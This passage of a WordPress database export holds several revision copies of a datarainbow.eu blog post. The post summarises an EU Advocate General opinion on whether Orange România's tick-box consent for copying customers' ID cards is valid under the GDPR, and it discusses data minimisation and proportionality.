resolved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little reminder of the six principals :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Lawfulness, fairness and transparency. ...</li><li>Purpose limitation. ...</li><li>Data minimisation. ...</li><li>Accuracy. ...</li><li>Storage limitation. ...</li><li>Integrity and confidentiality.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Proportionality comes as a mortar that blends it all together. We recently commented a decision by the <a href=\"https://datarainbow.eu/2020/03/02/court-said-no-to-facial-recognition-technology/\">French Administratif Court, Conseil d\'Etat, on the illegality of Live Facial Recognition technologies in schools.</a> Based on the imbalance of power and the loss of control caused by biometrics data collection disproportionate to the result, the court ordered the cease of the test. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wherever the same result can be achieved in a less intrusive manner, it has to prevail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Charter of Fundamental Rights of the European Union, Article&nbsp;8,  data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by the law. Seen in a wider context, the concept of consent allows the data subject concerned to decide for him or herself on the legitimacy of restrictions to on his or her right to the protection of personal data.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On this 4th of March, the Advocate General M. MACIEJ SZPUNAR presented its conclusions in request for a preliminary ruling from the Tribunalul Bucureşti (Regional Court, Bucharest, Romania) stems from a dispute between a provider of telecommunication services and a national data protection authority as to the obligations of the former in the context of contractual negotiations with a customer when it comes to copying and storing the copy of ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further clarifying the concept of ‘consent’ given by a data subject, while addressing the question of the burden of proof as to whether or not the data subject has given consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>What does the EU Regulation 2016/679</em> says :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pursuant to Article&nbsp;4(11) of Regulation (EU) 2016/679,&nbsp;for the purpose of that regulation, ‘“<em>consent” of the data subject means </em><strong><em>any freely given, specific, informed and unambiguous</em></strong><em> indication of the data subject\'s wishes by which he or she, by a </em><strong><em>statement or by a clear affirmative action</em></strong><em>, signifies agreement to the processing of personal data relating to him or her</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;&nbsp;The Article&nbsp;6(1)(a) and (b) of that regulation is worded as follows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>‘<em>Processing shall be lawful only if and to the extent that at least one of the following applies:</em></p><p>(a)      <em>the data subject has given consent to the processing of his or her personal data for one or more specific purposes;</em></p><p>(b)      <em>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract’</em>.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;7(1) of the same regulation states that ‘<em>where processing is based on consent, the controller shall be able to demonstrate that the data subject has consented to processing of his or her personal data</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The facts of the case were as follows :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Romanian National Authority for the Supervision of the Processing of Personal Data, ‘the ANSPDCP’ had issued a report which included the imposition of an administrative penalty on Orange România on the ground that copies of the identity documents of its customers had been taken and kept without their express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Orange România had concluded contracts for the provision of mobile telecommunication services with customers requiring copies of their identity documents. In order to do so, customers were required to sign a document declaring they had been informed of and had consented to the collection and storage of a copy of their ID card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The existence of the customers’ consent had been established by the insertion of crosses in boxes in the written documentation evidencing the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Court is called upon to specify the conditions under which consent to the processing of personal data may be considered valid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision of the national DPA imposing a fine on Orange Româniawas was adopted prior to the GDPR. However, it required as well to destroy the copies of the identity documents previously collected. This injunction having effect for the future, the regulation appeared to be applicable in so far&nbsp;<em>ratione temporis</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to demonstrate consent on an informed choice on the collection and storage of IDs, customers were asked to tick a box. Is this sufficient to constitute a ‘specific and informed’ and ‘freely expressed’ consent within the meaning of Article 2(h) of Directive 95/46 and Article 4(11) of Regulation 2016/679, to that undertaking when he or she needs to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and conservation of his or her ID documents ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 6(1)(a) of the directive provides that personal data must be processed <strong>fairly and lawfully</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Directive 95/46, Article 2(h), consent is defined as any <strong>freely given specific and informed</strong> indication of his or her wishes by which the data subject signifies his or her agreement to personal data relating to him or her being processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Regulation 2016/679, Article&nbsp;4(11), a stronger standard of consent is required : consent needs to be freely given, specific, informed and <strong>unambiguous</strong> indication of the data subject’s wishes by which he or she, by a statement or <strong>by a clear affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consent is freely given when the data subject expresses its wishes actively, rather than by passive behaviour. It should be demonstrated that the data subject had enjoyed a high degree of autonomy when choosing whether or not to give consent which for instance as previously ruled, excludes a preselected tick of a checkbox.<a>4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<em>Informed consent</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was the data subject informed of all circumstances surrounding the data processing and its consequences? The customer needed to know :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>which data are to be processed, </li><li>the duration of such processing, </li><li>in what way and for which specific purpose,</li><li>who is processing the data and whether the data are intended to be transferred to third parties,</li><li>be informed of the consequences of refusing consent: is consenting to the data processing a condition for concluding the contract or not?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>&nbsp;Who does <strong>the burden of proof&nbsp;lie&nbsp;with&nbsp;?</strong></em>&nbsp;&nbsp;&nbsp;&nbsp;</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a>Looking at the </a>Article&nbsp;7(1) of Regulation 2016/679, the Advocate General confirms that it is for the controller to demonstrate that the data subject has consented to processing of his or her data, not only to prove that the data subject has given his or her consent, but must also prove that all the conditions for effectiveness have been met.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the burden of proof rule is not expressly laid down in the Directive 95/46 the controller has to proof ‘the data subject has&nbsp;<em>unambiguously</em>&nbsp;given his consent’.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>Application of the principles on this case</em></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If asking customers to provide some personal data and in particular to prove their identity for the purposes of the conclusion of a contract. To require a customer to consent to the copying and storing of identity documents, however, appears to go beyond what is necessary for the performance of the contract. On the basis of the information available, it appears to me that the customers of Orange România do not give their free, specific and informed consent under the circumstances described by the referring court.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>There is no freely given consent. Obliging a customer to state in handwritten form that he or she does not consent to the copying and storing of his or her ID card does not permit freely given consent in the sense that the customer is put into a situation in which he or she perceptibly deviates from a regular procedure which leads to the conclusion of a contract.Following the judgment in&nbsp;<em>Planet49</em>,&nbsp;consent is by positive opt in.</li><li><a>.</a>There is no informed consent. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does&nbsp;<em>not</em>&nbsp;make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</li><li>There is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such lack of clarity and conflicting instructions to sales personnel obviously cannot be to the detriment of the customer,&nbsp;<em>in casu</em>&nbsp;the data subject.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In conclusion, the Advocate General opinion is that :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>there is no ‘consent’ where the customer does not indicate his or her ‘specific and informed’ and ‘freely given’ wishes, within the meaning of Article&nbsp;2(h) of Directive 95/46/EC of the European Parliament and of the Council of 24&nbsp;October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data and of Article&nbsp;4(11) of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27&nbsp;April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation), to that undertaking </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>==&gt; when he or she is required to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and storage of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The court was asked to answer the validity of the consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ECJ ruling is  soon to be followed. Although the DG opinions are not binding the court tend to rely on them. What are the implications of this analysis on the absence of free, explicite and unambiguous consent when the customer actively produce copy of his ID ? Should this view be extended to any case where an ID card is requested while not strictly necessary, based on the principle of data minimisation?  Additionally, free and explicite consent requires that consent not be detrimental to the access to the service especially where data minimisation calls for minimal data collection. Could there not be  better, more appropriate, more proportionate means of ID verification? Could the customer\'s ID be verified by other means and was it necessary to retain copy of the ID card and ultimately how identifications are stored and for how long?</p>\n<!-- /wp:paragraph -->','Consumer contracts and the validity of consent','','inherit','closed','closed','','583-revision-v1','','','2020-03-04 21:33:58','2020-03-04 21:33:58','',583,'https://datarainbow.eu/2020/03/04/583-revision-v1/',0,'revision','',0),(594,5,'2020-03-04 21:46:11','2020-03-04 21:46:11','<!-- wp:heading {\"level\":3} -->\n<h3>Proportionality and Data Minimisation are Key to GDPR</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal data is the hot potato.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the six principals of Data Protection is Data minimisation. It goes against the recent tide of mass collection of data. Nevertheless, it is a life saver. By collecting less, keeping accurate, safe and confidential, in an accountable manner in appropriate registers, ideally keeping data and assets mapping, most of the hassle of compliance is resolved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little reminder of the six principals :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Lawfulness, fairness and transparency. ...</li><li>Purpose limitation. ...</li><li>Data minimisation. ...</li><li>Accuracy. ...</li><li>Storage limitation. ...</li><li>Integrity and confidentiality.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Proportionality comes as a mortar that blends it all together. We recently commented a decision by the <a href=\"https://datarainbow.eu/2020/03/02/court-said-no-to-facial-recognition-technology/\">French Administratif Court, Conseil d\'Etat, on the illegality of Live Facial Recognition technologies in schools.</a> Based on the imbalance of power and the loss of control caused by biometrics data collection disproportionate to the result, the court ordered the cease of the test. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wherever the same result can be achieved in a less intrusive manner, it has to prevail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Charter of Fundamental Rights of the European Union, Article&nbsp;8,  data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by the law. Seen in a wider context, the concept of consent allows the data subject concerned to decide for him or herself on the legitimacy of restrictions to on his or her right to the protection of personal data.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On this 4th of March, the Advocate General M. MACIEJ SZPUNAR presented its conclusions in request for a preliminary ruling from the Tribunalul Bucureşti (Regional Court, Bucharest, Romania) stems from a dispute between a provider of telecommunication services and a national data protection authority as to the obligations of the former in the context of contractual negotiations with a customer when it comes to copying and storing the copy of ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further clarifying the concept of ‘consent’ given by a data subject, while addressing the question of the burden of proof as to whether or not the data subject has given consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>What does the EU Regulation 2016/679</em> says :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pursuant to Article&nbsp;4(11) of Regulation (EU) 2016/679,&nbsp;for the purpose of that regulation, ‘“<em>consent” of the data subject means </em><strong><em>any freely given, specific, informed and unambiguous</em></strong><em> indication of the data subject\'s wishes by which he or she, by a </em><strong><em>statement or by a clear affirmative action</em></strong><em>, signifies agreement to the processing of personal data relating to him or her</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;&nbsp;The Article&nbsp;6(1)(a) and (b) of that regulation is worded as follows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>‘<em>Processing shall be lawful only if and to the extent that at least one of the following applies:</em></p><p>(a)      <em>the data subject has given consent to the processing of his or her personal data for one or more specific purposes;</em></p><p>(b)      <em>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract’</em>.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;7(1) of the same regulation states that ‘<em>where processing is based on consent, the controller shall be able to demonstrate that the data subject has consented to processing of his or her personal data</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The facts of the case were as follows :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Romanian National Authority for the Supervision of the Processing of Personal Data, ‘the ANSPDCP’ had issued a report which included the imposition of an administrative penalty on Orange România on the ground that copies of the identity documents of its customers had been taken and kept without their express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Orange România had concluded contracts for the provision of mobile telecommunication services with customers requiring copies of their identity documents. In order to do so, customers were required to sign a document declaring they had been informed of and had consented to the collection and storage of a copy of their ID card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The existence of the customers’ consent had been established by the insertion of crosses in boxes in the written documentation evidencing the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Court is called upon to specify the conditions under which consent to the processing of personal data may be considered valid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision of the national DPA imposing a fine on Orange Româniawas was adopted prior to the GDPR. However, it required as well to destroy the copies of the identity documents previously collected. This injunction having effect for the future, the regulation appeared to be applicable in so far&nbsp;<em>ratione temporis</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to demonstrate consent on an informed choice on the collection and storage of IDs, customers were asked to tick a box. Is this sufficient to constitute a ‘specific and informed’ and ‘freely expressed’ consent within the meaning of Article 2(h) of Directive 95/46 and Article 4(11) of Regulation 2016/679, to that undertaking when he or she needs to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and conservation of his or her ID documents ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 6(1)(a) of the directive provides that personal data must be processed <strong>fairly and lawfully</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Directive 95/46, Article 2(h), consent is defined as any <strong>freely given specific and informed</strong> indication of his or her wishes by which the data subject signifies his or her agreement to personal data relating to him or her being processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Regulation 2016/679, Article 4(11), a higher standard of consent is required : consent needs to be f<strong>reely given, specific, informed and unambiguous</strong> indication of the data subject’s wishes by which he or she, by a statement or <strong>by a clear affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consent is freely given when the data subject expresses its wishes <strong>actively</strong>, rather than by passive behaviour. It should be demonstrated that the data subject had enjoyed a high degree of autonomy when choosing whether or not to give consent which for instance as previously ruled, excludes a preselected tick of a checkbox.<a>4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <em><strong>Informed consent</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was the data subject informed of all circumstances surrounding the data processing and its consequences? The customer needed to know :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>which data are to be processed, </li><li>the duration of such processing, </li><li>in what way and for which specific purpose,</li><li>who is processing the data and whether the data are intended to be transferred to third parties,</li><li>be informed of the consequences of refusing consent: is consenting to the data processing a condition for concluding the contract or not?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>&nbsp;Who does <strong>the burden of proof&nbsp;lie&nbsp;with&nbsp;?</strong></em>&nbsp;&nbsp;&nbsp;&nbsp;</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a>Looking at the </a>Article&nbsp;7(1) of Regulation 2016/679, the Advocate General confirms that it is for the controller to demonstrate that the data subject has consented to processing of his or her data, not only to prove that the data subject has given his or her consent, but must also prove that all the conditions for effectiveness have been met.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the burden of proof rule is not expressly laid down in the Directive 95/46 the controller has to proof ‘the data subject has&nbsp;<em>unambiguously</em>&nbsp;given his consent’.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>Application of the principles on this case</em></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Asking customers to provide some personal data and in particular to prove their identity for the purposes of the conclusion of a contract. To require a customer to consent to the copying and storing of identity documents, however, appears to go beyond what is necessary for the performance of the contract. On the basis of the information available, it appears that the customers of Orange România do not give their free, specific and informed consent under the circumstances described by the referring court.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>There is <strong>no freely given consent</strong>. Obliging a customer to state in handwritten form that he or she does not consent to the copying and storing of his or her ID card does not permit freely given consent in the sense that the customer is put into a situation in which he or she perceptibly deviates from a regular procedure which leads to the conclusion of a contract. Following the judgment in <em>Planet49</em>, consent is to be expressed by positive opt in act.</li><li>There is <strong>no informed consent</strong>. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does <em>not</em> make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</li><li>There is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such <strong>lack of clarity and conflicting instructions </strong>to sales personnel obviously cannot be to the detriment of the customer, <em>in casu</em> the data subject.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In conclusion, the Advocate General opinion is that :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is no ‘consent’ where the customer does not indicate his or her ‘spe<strong>cific and informed’ and ‘freely given’ wishes</strong>, within the meaning of Article 2(h) of Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data and of Article 4(11) of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation), to that undertaking </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>==&gt; No free consent when the customer is required to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and storage of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The court was asked to answer on the validity of the consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ECJ ruling is soon to be followed. Although the DG opinions are not binding the court tends to rely on them. What are the implications of this analysis on the absence of free, explicite and unambiguous consent when the customer actively produce copy of his or her ID ? Should this view be extended to any case where copy of ID card is requested while not strictly necessary, based on the principle of data minimisation?  Additionally, free and explicite consent requires that consent not be detrimental to the access to the service especially where data minimisation calls for minimal data collection. Could there not be  better, more appropriate, more proportionate means of ID verification? Could the customer\'s ID be verified by other means and was it necessary to retain copy of the ID card and ultimately how identifications are stored, kept secured and for how long?</p>\n<!-- /wp:paragraph -->','Consumer contracts and the validity of consent','','inherit','closed','closed','','583-revision-v1','','','2020-03-04 21:46:11','2020-03-04 21:46:11','',583,'https://datarainbow.eu/2020/03/04/583-revision-v1/',0,'revision','',0),(596,5,'2020-03-06 16:04:25','2020-03-06 16:04:25','<!-- wp:heading {\"level\":3} -->\n<h3>Proportionality and Data Minimisation are Key to GDPR</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal data is the hot potato.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the six principals of Data Protection is Data minimisation. It goes against the recent tide of mass collection of data. Nevertheless, it is a life saver. By collecting less, keeping accurate, safe and confidential, in an accountable manner in appropriate registers, ideally keeping data and assets mapping, most of the hassle of compliance is resolved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little reminder of the six principals :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Lawfulness, fairness and transparency. ...</li><li>Purpose limitation. ...</li><li>Data minimisation. ...</li><li>Accuracy. ...</li><li>Storage limitation. ...</li><li>Integrity and confidentiality.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Proportionality comes as a mortar that blends it all together. We recently commented a decision by the <a href=\"https://datarainbow.eu/2020/03/02/court-said-no-to-facial-recognition-technology/\">French Administratif Court, Conseil d\'Etat, on the illegality of Live Facial Recognition technologies in schools.</a> Based on the imbalance of power and the loss of control caused by biometrics data collection disproportionate to the result, the court ordered the cease of the test. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wherever the same result can be achieved in a less intrusive manner, it has to prevail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Charter of Fundamental Rights of the European Union, Article&nbsp;8,  data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by the law. Seen in a wider context, the concept of consent allows the data subject concerned to decide for him or herself on the legitimacy of restrictions to on his or her right to the protection of personal data.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On this 4th of March, the Advocate General M.&nbsp;MACIEJ SZPUNAR presented its conclusions in request for a preliminary ruling from the Tribunalul Bucureşti (Regional Court, Bucharest, Romania) stems from a dispute between a provider of telecommunication services and a national data protection authority as to the obligations of the former in the context of contractual negotiations with a customer when it comes to copying and storing the copy of ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further clarifying the concept of ‘consent’ given by a data subject, while addressing the question of the burden of proof as to whether or not the data subject has given consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>What does the EU Regulation 2016/679</em> says :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pursuant to Article&nbsp;4(11) of Regulation (EU) 2016/679,&nbsp;for the purpose of that regulation, ‘“<em>consent” of the data subject means </em><strong><em>any freely given, specific, informed and unambiguous</em></strong><em> indication of the data subject\'s wishes by which he or she, by a </em><strong><em>statement or by a clear affirmative action</em></strong><em>, signifies agreement to the processing of personal data relating to him or her</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;&nbsp;The Article&nbsp;6(1)(a) and (b) of that regulation is worded as follows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>‘<em>Processing shall be lawful only if and to the extent that at least one of the following applies:</em></p><p>(a)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em>the data subject has given consent to the processing of his or her personal data for one or more specific purposes;</em></p><p>(b)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract’</em>.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;7(1) of the same regulation states that ‘<em>where processing is based on consent, the controller shall be able to demonstrate that the data subject has consented to processing of his or her personal data</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The facts of the case were as follows :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Romanian National Authority for the Supervision of the Processing of Personal Data, ‘the ANSPDCP’ had issued a report which included the imposition of an administrative penalty on Orange România on the ground that copies of the identity documents of its customers had been taken and kept without their express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Orange România had concluded contracts for the provision of mobile telecommunication services with customers requiring copies of their identity documents. In order to do so, customers were required to sign a document declaring they had been informed of and had consented to the collection and storage of a copy of their ID card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The existence of the customers’ consent had been established by the insertion of crosses in boxes in the written documentation evidencing the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Court is called upon to specify the conditions under which consent to the processing of personal data may be considered valid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision of the national DPA imposing a fine on Orange Româniawas was adopted prior to the GDPR. However, it required as well to destroy the copies of the identity documents previously collected. This injunction having effect for the future, the regulation appeared to be applicable in so far&nbsp;<em>ratione temporis</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to demonstrate consent on an informed choice on the collection and storage of IDs, customers were asked to tick a box. Is this sufficient to constitute a ‘specific and informed’ and ‘freely expressed’ consent within the meaning of Article&nbsp;2(h) of Directive 95/46 and Article 4(11) of Regulation 2016/679, to that undertaking when he or she needs to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and conservation of his or her ID documents ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;6(1)(a) of the directive provides that personal data must be processed <strong>fairly and lawfully</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Directive 95/46, Article&nbsp;2(h), consent is defined as any <strong>freely given specific and informed</strong> indication of his or her wishes by which the data subject signifies his or her agreement to personal data relating to him or her being processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Regulation 2016/679, Article&nbsp;4(11), a higher standard of consent is required : consent needs to be f<strong>reely given, specific, informed and unambiguous</strong> indication of the data subject’s wishes by which he or she, by a statement or <strong>by a clear affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consent is freely given when the data subject expresses its wishes <strong>actively</strong>, rather than by passive behaviour. It should be demonstrated that the data subject had enjoyed a high degree of autonomy when choosing whether or not to give consent which for instance as previously ruled, excludes a preselected tick of a checkbox.<a>4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<em><strong>Informed consent</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was the data subject informed of all circumstances surrounding the data processing and its consequences? The customer needed to know :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>which data are to be processed, </li><li>the duration of such processing, </li><li>in what way and for which specific purpose,</li><li>who is processing the data and whether the data are intended to be transferred to third parties,</li><li>be informed of the consequences of refusing consent: is consenting to the data processing a condition for concluding the contract or not?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>&nbsp;Who does <strong>the burden of proof&nbsp;lie&nbsp;with&nbsp;?</strong></em>&nbsp;&nbsp;&nbsp;&nbsp;</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a>Looking at the </a>Article&nbsp;7(1) of Regulation 2016/679, the Advocate General confirms that it is for the controller to demonstrate that the data subject has consented to processing of his or her data, not only to prove that the data subject has given his or her consent, but must also prove that all the conditions for effectiveness have been met.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the burden of proof rule is not expressly laid down in the Directive 95/46 the controller has to proof ‘the data subject has&nbsp;<em>unambiguously</em>&nbsp;given his consent’.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>Application of the principles on this case</em></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Asking customers to provide some personal data and in particular to prove their identity for the purposes of the conclusion of a contract. To require a customer to consent to the copying and storing of identity documents, however, appears to go beyond what is necessary for the performance of the contract. On the basis of the information available, it appears that the customers of Orange România do not give their free, specific and informed consent under the circumstances described by the referring court.</p>\n<!-- 